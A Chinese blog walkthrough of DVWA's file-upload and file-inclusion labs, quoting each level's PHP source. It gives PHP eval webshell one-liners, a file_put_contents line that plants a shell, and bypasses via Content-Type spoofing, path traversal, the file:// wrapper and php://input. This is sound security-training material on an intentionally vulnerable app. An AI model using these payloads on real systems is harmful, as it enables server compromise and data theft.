admin管理员组

文章数量:1794759

DVWA

DVWA

一,low

1,代码分析:

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}
}?> 

从以上代码可以看出并没有做任何限制,先用最简单的PHP一句话代码试下:

<?php @eval($_POST[777])?>

使用中国蚁剑进行连接

 

扩展:

使用中国蚁剑连接出现以下情况是路径地址错误

 

出现”返回数据为空“,是代码有错误;

basename()函数:返回带有文件扩展名的文件名部分。例如:/xx/test.php,返回test.php

二,medium

代码分析:

继续上传yjh.php,使用BP进行抓包,更改文件类型

扩展:

[$_FILES’userfile’][‘name’]

客户端机器文件的原名称。

[$_FILES’userfile’][‘type’]

文件的 MIME 类型

[$_FILES’userfile’][‘size’]

已上传文件的大小,单位为字节。

[$_FILES’userfile’][‘tmp_name’]

文件被上传后在服务端储存的临时文件名

[$_FILES’userfile’][‘error’]

和该文件上传相关的错误代码。此项目是在PHP 4.2.0 版本中增加的。

UPLOAD_ERR_OK

其值为 0,没有错误发生,文件上传成功。

UPLOAD_ERR_INI_SIZE

其值为 1,上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值。

UPLOAD_ERR_FORM_SIZE

其值为 2,上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。

UPLOAD_ERR_PARTIAL

其值为 3,文件只有部分被上传。

UPLOAD_ERR_NO_FILE

其值为 4,没有文件被上传。

UPLOAD_ERR_NO_TMP_DIR

其值为 6,找不到临时文件夹。PHP 4.3.10 和 PHP 5.0.3 引进。

UPLOAD_ERR_CANT_WRITE

其值为 7,文件写入失败。PHP 5.1.0 引进。

这里对上传的文件类型进行了判断,如果不是jpeg跟png类型的文件则无法上传。

利用
服务端这里判断文件的类型是通过$_FILES["file"]["type"]来判断的。

而$_FILES["file"]["type"]是客户端请求数据包中的Content-Type的值。所以可以通过抓包工具修改Content-Type来绕过服务端检测

三,hight

代码分析:

 

上传图片木马 ,制作图片木马

 

 图片木马没有办法直接利用,需要配合其他漏洞。 此时可以结合文件包含漏洞获取webshell。

 使用蚁剑添加cookie头才能成功连上一句话木马。

(不添加的话,测试连接时会出现返回数据为空的警告。至于为什么前面两关不用添加就能连接一句话木马,应该是因为前两关上传的文件不需要登录就可以访问,但存在文件包含漏洞的这个文件必须要登录访问)

 

 

四,impossible

代码分析:

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];// Where are we going to be writing to?$target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';//$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;$temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );$temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;// Is it an image?if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&( $uploaded_size < 100000 ) &&( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&getimagesize( $uploaded_tmp ) ) {// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)if( $uploaded_type == 'image/jpeg' ) {$img = imagecreatefromjpeg( $uploaded_tmp );imagejpeg( $img, $temp_file, 100);}else {$img = imagecreatefrompng( $uploaded_tmp );imagepng( $img, $temp_file, 9);}imagedestroy( $img );// Can we move the file to the web root from the temp folder?if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {// Yes!echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";}else {// Noecho '<pre>Your image was not uploaded.</pre>';}// Delete any temp filesif( file_exists( $temp_file ) )unlink( $temp_file );}else {// Invalid fileecho '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}// Generate Anti-CSRF token
generateSessionToken();?> 

 

分析
**uniqid()**返回一个当前时间微秒计的唯一字符串ID。

ini_get():获取一个配置选项的值。

php.ini中upload_tmp_dir的值为上传文件的临时目录。

sys_get_temp_dir():返回用于临时文件的目录。

该三元运算符的意思是:确定临时上传文件的目录。

然后对上传文件的后缀名进行了判断,也使用了getimagesize函数进行判断。

imagecreatefromjpeg(filename):创建一个新图像资源。filename为图像路径。成功后返回图象资源,失败后返回 FALSE

imagejpeg(image, filename, quality):用image图像资源创建jpeg图像。

image:图像资源,filename:文件保存的路径,quality:图像质量(0:最差-100:最好)

**imagedestroy()😗*销毁图像资源

然后重命名文件。

getcwd:取得当前工作目录

unlink:删除文件

利用
文件名有md5加密,且图片为重新创建的,图片木马无法成功,无漏洞可利用。

 

 文件包含

一,LOW

代码分析:

 直接对传入的page参数进行了包含,未作任何过滤。

点击

 构造错误url,报错出路径:

 构造url(绝对路径):成功读取服务器的php.ini文件

 构造url(相对路径)

二,Medium

 代码分析:

 

不能使用远程文件包含,可以使用绝对路径来绕过

 使用双写”..././“也不行,可以使用..\..\..\..\..\

三,Hight

代码分析:

<?php// The page we wish to display
$file = $_GET[ 'page' ];// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit;
}?> 

其中fnmatch() 函数根据指定的模式来匹配文件名或字符串,此处是使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。此时就可以使用file://伪协议来欺骗服务器了。

 扩展:

1,

封装协议
file:// 访问本地文件系统
http:// 访问 HTTP(s) 网址
ftp:// 访问 FTP(s) URLs
php:// 访问各个输入/输出流(I/O streams)
zlib:// 压缩流
data:// 数据(RFC 2397)
glob:// 查找匹配的文件路径模式
phar:// PHP 归档
ssh2:// Secure Shell 2
rar:// RAR
ogg:// 音频流
expect:// 处理交互式的流

2,包含图片马写shell

条件: 确定文件包含漏洞存在 菜刀不能直接连接
<?php file_put_contents('shell.php','<?php @eval($_REQUEST[777])?>')?>

3,读取PHP文件源码

创建动态包含函数

 

 

 

4,执行PHP命令

利用条件: 利用 php://input 执行 PHP 命令。 远程文件包含开启。

 

 

 

一开始输入< ?php phpinfo();?>可以正常显示,但是已输入php命令一直没有回应,后来查到是远程文件包含没打开,在php.ini中找到allow_url_fopen = On/Off ,allow_url_include = On/Off改成On,并重启phpstudy,再次实验就可以了。

四,Impossible

代码分析:

<?php// The page we wish to display
$file = $_GET[ 'page' ];// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit;
}?> 

可以看到,Impossible级别的代码使用了白名单机制进行防护,简单粗暴,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。

本文标签: DVWA